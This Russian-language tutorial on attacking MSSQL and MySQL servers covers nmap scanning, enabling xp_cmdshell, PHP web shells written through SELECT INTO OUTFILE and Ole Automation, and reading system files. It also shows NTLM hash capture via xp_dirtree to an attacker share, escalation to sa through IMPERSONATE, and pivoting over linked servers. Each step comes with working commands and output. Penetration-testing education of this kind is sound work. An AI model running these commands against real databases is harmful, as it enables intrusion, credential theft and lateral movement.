Внимание! Информация, представленная в данной статье предоставляется исключительно в образовательных целях. Мы не поддерживаем и не поощряем незаконные действия. Вся ответственность за использование представленной информации лежит на пользователе.

 

В этой статье мы рассмотрим основные методы атак на реляционные базы данных Microsoft SQL Server (MSSQL) и MySQL. Данные СУБД обычно содержат критически важную информацию: учетные данные пользователей, персональные данные (PII), конфиденциальные сведения о бизнесе и платежные данные. Кроме того, службы баз данных часто запускаются с высокими привилегиями, что при успешной компрометации может дать атакующему возможности для бокового перемещения в сети или эскалации привилегий. Ниже мы рассмотрим распространенные ошибки конфигурации, а также некоторые специфические атаки, связанные с протоколами MSSQL и MySQL.

 

Обзор и сканирование

Основные порты

  • MSSQL обычно прослушивает TCP/1433 и UDP/1434. Иногда (при работе в «скрытом» режиме) – TCP/2433.

  • MySQL обычно прослушивает TCP/3306.

Пример сканирования с помощью Nmap

Для первоначального обнаружения и сбора информации о базе данных можно использовать Nmap со скриптами по умолчанию (-sC). Ниже приведен пример (имена пользователя, IP-адреса и другие детали изменены):

alex@lab$ nmap -Pn -sV -sC -p1433 10.11.12.13

Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower.
Starting Nmap 7.91 ( https://tool-repository.example ) at 2021-08-26 02:09 BST
Nmap scan report for 10.11.12.13
Host is up (0.0099s latency).

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: LAB
|   NetBIOS_Domain_Name: LAB
|   NetBIOS_Computer_Name: mssql-lab
|   DNS_Domain_Name: LAB.LOCAL
|   DNS_Computer_Name: mssql-lab.LAB.LOCAL
|   DNS_Tree_Name: LAB.LOCAL
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-08-26T01:04:36
|_Not valid after:  2051-08-26T01:04:36
|_ssl-date: 2021-08-26T01:11:58+00:00; +2m05s from scanner time.

Host script results:
|_clock-skew: mean: 2m04s, deviation: 0s, median: 2m04s
| ms-sql-info: 
|   10.11.12.13:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Из этого сканирования мы можем узнать версию, имя хоста и другую служебную информацию, которую в дальнейшем применим для поиска типовых уязвимостей или неправильных настроек.

 

Механизмы аутентификации

MSSQL

MSSQL поддерживает два режима аутентификации:

  1. Windows authentication mode
    Использует уже существующую аутентификацию Windows/Active Directory. Если учетная запись пользователя в ОС прошла проверку, повторный ввод пароля для SQL Server не требуется.

  2. Mixed mode
    Смешанный режим, в котором поддерживается аутентификация и по доменным учетным данным, и по логинам/паролям, хранящимся в самом SQL Server.

MySQL

MySQL позволяет аутентифицироваться по логину и паролю, а также поддерживает Windows-аутентификацию (при помощи дополнительного плагина). Выбор режима аутентификации зависит от целей администратора, но при неправильной настройке возможны уязвимости.

Пример известной уязвимости: CVE-2012-2122 для MySQL 5.6.x, позволявшая обходить аутентификацию из-за «тайминг-атаки», при которой повторная отправка одного и того же неправильного пароля в определенный момент приводила к успешной авторизации.

 

Типичные неправильные настройки (Misconfigurations)

  • Анонимный доступ: когда MSSQL или MySQL не требуют учетных данных или настроены слишком либерально.

  • Пустой пароль: учетная запись, у которой нет пароля вообще.

  • Слишком широкие права: любой пользователь, группа или даже машина может обращаться к базе и выполнять критичные действия.

 

Привилегии

В зависимости от того, под какой учетной записью мы зашли, нам могут быть доступны следующие операции:

  • Чтение и изменение данных в таблицах.

  • Чтение и изменение конфигурации сервера.

  • Выполнение команд на уровне ОС.

  • Чтение локальных файлов.

  • Связь с другими базами (в случае, если настроены связанные серверы).

  • Захват хэшей локальной системы (например, NTLM-хэшей в Windows).

  • Имперсонация (перевоплощение) уже существующих пользователей.

  • Доступ к другим узлам сети.

Ниже мы разберем некоторые из этих сценариев.

 

Специфические атаки на уровне протоколов

Чтение/изменение базы данных

Предположим, мы получили доступ к базе данных. Первый шаг — посмотреть, какие базы существуют, какие таблицы в них хранятся и какие данные могут быть в таблицах, чтобы выделить потенциально интересную информацию: учетные записи, пароли, токены, конфиги и т.д.

Подключение к MySQL

alex@lab$ mysql -u user1 -pP4ssword -h 10.20.30.40

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

Подключение к MSSQL с помощью sqlcmd

C:\lab> sqlcmd -S MSSQL-SERVER -U user1 -P 'Passw0rd1!' -y 30 -Y 30
1>

Параметры -y и -Y в sqlcmd помогают аккуратнее форматировать вывод.

Если мы работаем с MSSQL из Linux, можно применить sqsh.
Аналогично в пакете Impacket есть скрипт mssqlclient.py.

alex@lab$ mssqlclient.py -p 1433 user1@10.20.30.50
Password: Passw0rd1!

[*] Encryption required, switching to TLS
[*] ...
SQL>

Чтобы использовать Windows-аутентификацию, нужно указать домен или имя хоста, например .\user1.

 

Системные базы данных

У каждого СУБД есть системные базы:

MySQL

  • mysql — системная БД с информацией, необходимой для работы самого сервера.

  • information_schema — метаданные о базах, таблицах, столбцах.

  • performance_schema — сбор информации о производительности.

  • sys — различные объекты для удобства администратора.

MSSQL

  • master — хранит данные об экземпляре SQL Server.

  • msdb — нужна для SQL Server Agent.

  • model — шаблонная база для новых БД.

  • resource — read-only база, где хранится sys-схема, видимая в каждой базе.

  • tempdb — временные объекты.

 

Простейшие команды SQL

Показать базы

MySQL:

mysql> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mydb               |
+--------------------+
2 rows in set (0.00 sec)

MSSQL (через sqlcmd или sqsh):

1> SELECT name FROM master.dbo.sysdatabases
2> GO

Перейти в нужную базу

MySQL:

mysql> USE mydb;
Database changed

MSSQL:

1> USE mydb
2> GO

Показать таблицы

MySQL:

mysql> SHOW TABLES;
+---------------------+
| Tables_in_mydb      |
+---------------------+
| users               |
| roles               |
| permissions         |
...

MSSQL:

1> SELECT table_name FROM mydb.INFORMATION_SCHEMA.TABLES
2> GO

Посмотреть данные

MySQL:

mysql> SELECT * FROM users;
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | user2         | pa$$word   | 2020-07-02 11:30:50 |
|  3 | ivan          | ivan123!   | 2020-07-02 11:47:16 |
|  4 | testuser      | test123!   | 2020-07-02 12:23:16 |
+----+---------------+------------+---------------------+

MSSQL:

1> SELECT * FROM users
2> GO

id    username     password     date_of_joining
1     admin        p@ssw0rd     2020-07-02 00:00:00.000
2     user2        pa$$word     2020-07-02 11:30:50.000
...

 

Выполнение системных команд

xp_cmdshell в MSSQL

В MSSQL существует расширенная хранимая процедура xp_cmdshell, позволяющая запускать системные команды с теми же правами, под которыми работает служба MSSQL. По умолчанию xp_cmdshell отключена, но администратор может ее включить:

-- Разрешаем использование расширенных опций
EXECUTE sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO

-- Включаем xp_cmdshell
EXECUTE sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

После включения достаточно вызвать:

1> xp_cmdshell 'whoami'
2> GO
output
-----------------------------
mssql-service-account
NULL
(2 rows affected)

Другие способы получить RCE (запуск команд) в MSSQL: добавление собственных хранимых процедур, CLR Assemblies, задания SQL Server Agent и т.д.

MySQL (User Defined Functions)

В MySQL нет встроенного аналога xp_cmdshell, но можно загрузить так называемые UDF (User Defined Functions). С помощью определенного файла (написанного на C/C++) можно получить выполнение команд. На практике это встречается нечасто, однако знать о таком варианте стоит.

 

Запись локальных файлов

MySQL — SELECT INTO OUTFILE

Если у MySQL-пользователя есть соответствующие привилегии (FILE), и если в secure_file_priv не заданы жесткие ограничения, можно записывать произвольные файлы на сервер:

mysql> SELECT "<?php echo shell_exec($_GET['cmd']);?>" 
    -> INTO OUTFILE '/var/www/html/shell.php';

Далее, обратившись к файлу shell.php в браузере, можно передать параметр cmd и выполнить команду.

MSSQL — Ole Automation Procedures

Для записи локальных файлов в MSSQL можно включить Ole Automation Procedures:

1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

И затем создать файл:

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXEC sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXEC sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 
     'C:\inetpub\wwwroot\shell.php', 8, 1
5> EXEC sp_OAMethod @FileID, 'WriteLine', NULL, 
     '<?php echo shell_exec($_GET["cmd"]);?>'
6> EXEC sp_OADestroy @FileID
7> EXEC sp_OADestroy @OLE
8> GO

 

Чтение локальных файлов

MSSQL — OPENROWSET

Если служба MSSQL имеет доступ к нужным файлам, мы можем их прочесть:

1> SELECT * 
2> FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
3> GO

BulkColumn
-------------------------------------------------------------------------
# Copyright ...
127.0.0.1 localhost
...

MySQL — LOAD_FILE()

Если secure_file_priv не ограничивает чтение, и у пользователя есть привилегии FILE, то:

mysql> SELECT LOAD_FILE("/etc/passwd");
+-----------------------------------------------------------------------------------+
| LOAD_FILE("/etc/passwd")                                                          |
+-----------------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash ...

 

Перехват NTLM-хэша службы MSSQL

Через хранимые процедуры xp_dirtree или xp_subdirs можно заставить MSSQL-сервер обратиться по SMB к любой сетевой шару, тем самым инициируя попытку аутентификации и «проброс» NTLMv2-хэша учетной записи, под которой работает SQL Server.

Например, запустим в одной консоли поддельный SMB-сервер (например, impacket-smbserver или включим режим Responder), а в MSSQL выполним:

1> EXEC master..xp_dirtree '\\10.20.30.60\fakeShare'
2> GO

При этом, если у MSSQL-сервиса есть права выхода в сеть, мы увидим в логе Responder/импакета что-то подобное:

SMB] NTLMv2-SSP Username : LAB-SRV\mssqlservice
[SMB] NTLMv2-SSP Hash     : mssqlservice::WINLAB:abcd1234....
...

Затем можно попробовать взломать этот хэш оффлайн или использовать атаку реле (SMB Relay).

 

Имперсонация (Impersonate) других пользователей в MSSQL

В MSSQL есть спец. разрешение IMPERSONATE. Если у нас есть права выполнять EXECUTE AS LOGIN = 'другой_логин', мы можем действовать от имени этого логина. У администраторов (sysadmin) обычно по умолчанию есть такие права на всех.

  1. Сначала смотрим, кого мы можем «имперсонировать»:

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
4> WHERE a.permission_name = 'IMPERSONATE'
5> GO

name
---------
sa
manager
operator

  1. Проверяем, есть ли у нашей текущей учетной записи права sysadmin:

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> GO
-----------
user1

-----------
0

Значит, мы не sysadmin. Но видим, что можем имперсонировать sa. Делаем это:

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

-----------
sa

-----------
1

Теперь у нас полный доступ, поскольку значение 1 означает, что мы в составе роли sysadmin. Чтобы вернуться в исходный контекст, используем REVERT.

 

Связанные серверы (Linked Servers) в MSSQL

Благодаря механизмам Linked Servers MSSQL может соединяться с другими серверами (даже другого производителя). Если мы нашли такую связку, появляется возможность «перепрыгнуть» на другую SQL-инстанцию и действовать там, если настроена автоматическая аутентификация.

Как узнать про связанные серверы

1> SELECT srvname, isremote FROM sysservers
2> GO

srvname                         isremote
-------------------------------- -------
MSSQL-LOCAL                     1
10.0.0.12\SQLEXPRESS            0

Здесь 1 указывает на удаленный сервер, 0 — на Linked Server. Далее можем попытаться выполнить запрос:

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')')
   AT [10.0.0.12\SQLEXPRESS]
2> GO

-------------------------------- ---------------------------- -------------
MSSQL-REMOTE                    Microsoft SQL Server 2019     sa_remote     1

Если ответ показывает, что там тоже sysadmin, мы можем выполнять практически любые действия на удаленном сервере (читать данные, запускать команды и т.д.).

 

Пример недавних уязвимостей в контексте SQL

Сценарий без CVE, но с использованием xp_dirtree

Уязвимость, связанная с xp_dirtree, сама по себе не имеет отдельного CVE, так как это не «баг» в классическом смысле, а скорее «функционал» Windows SMB: при обращении к удаленной шаре Windows автоматически пытается аутентифицироваться, передавая NTLMv2-хэш. Зная это, злоумышленник может:

  1. Запросить xp_dirtree на удаленный ресурс, который ему подконтролен.

  2. Перехватить хэш.

  3. Пробовать расшифровать хэш или реализовать атаку реле (SMB Relay) против других хостов.

Таким образом, комбинация функционала MSSQL и SMB-протокола может привести к утечке хэшей учетной записи, под которой запущена служба SQL Server.

Ниже — упрощенная ASCII-схема, показывающая процесс:

   [MSSQL Server]            [Атака XP_DIRTREE]             [Хост атакующего]
         |                           |                              |
         | xp_dirtree \\10.20.30.60\Share  ->                      |
         |--------------------------------------------------------->|
         |                           |                              |
         |       Отправка запроса к SMB-шаре                       |
         |                           |                              |
         |<--------------------------|                              |
         | Запросить аутентификацию                              |
         |                           |                              |
         |        NTLMv2-хэш        |                              |
         |--------------------------------------------------------->|
         |                           |         <-- Захват хэша -->  |

Этот хэш затем можно использовать в оффлайн-взломе или при SMB-реле на другие машины.

 

Заключение

Атаки на базы данных MSSQL и MySQL очень востребованы среди злоумышленников, поскольку эти системы часто содержат наиболее важную корпоративную информацию и могут работать с высокими привилегиями. Ключевые вектора атак включают:

  1. Перебор и обход аутентификации (ошибки конфигурации, устаревшие уязвимости).

  2. Неправильные настройки (анонимный доступ, слишком широкие привилегии).

  3. Чтение и запись файлов (при подходящих разрешениях и настройках).

  4. Выполнение системных команд (xp_cmdshell, User Defined Functions).

  5. Кражу хэшей (xp_dirtree, xp_subdirs с SMB).

  6. Имперсонацию (IMPERSONATE в MSSQL).

  7. Linked Servers (возможность «перескочить» на другие SQL-инстанции).

Чтобы защитить корпоративную среду, администраторы должны внимательно проверять настройки аутентификации, ограничивать сетевой доступ к портам 1433/1434/3306, своевременно устанавливать обновления и внимательно контролировать привилегии.

 

В заключение:

Понимание описанных техник атак и уязвимостей помогает как «красным командам» (Red Team) более качественно проверять безопасность компаний, так и «синим командам» (Blue Team) своевременно устранять слабые места и ужесточать конфигурацию. Чем глубже мы изучаем внутренние механизмы MSSQL и MySQL, тем эффективнее можем обеспечивать безопасность или, с другой стороны, искать уязвимости в ходе аудитов и тестов на проникновение.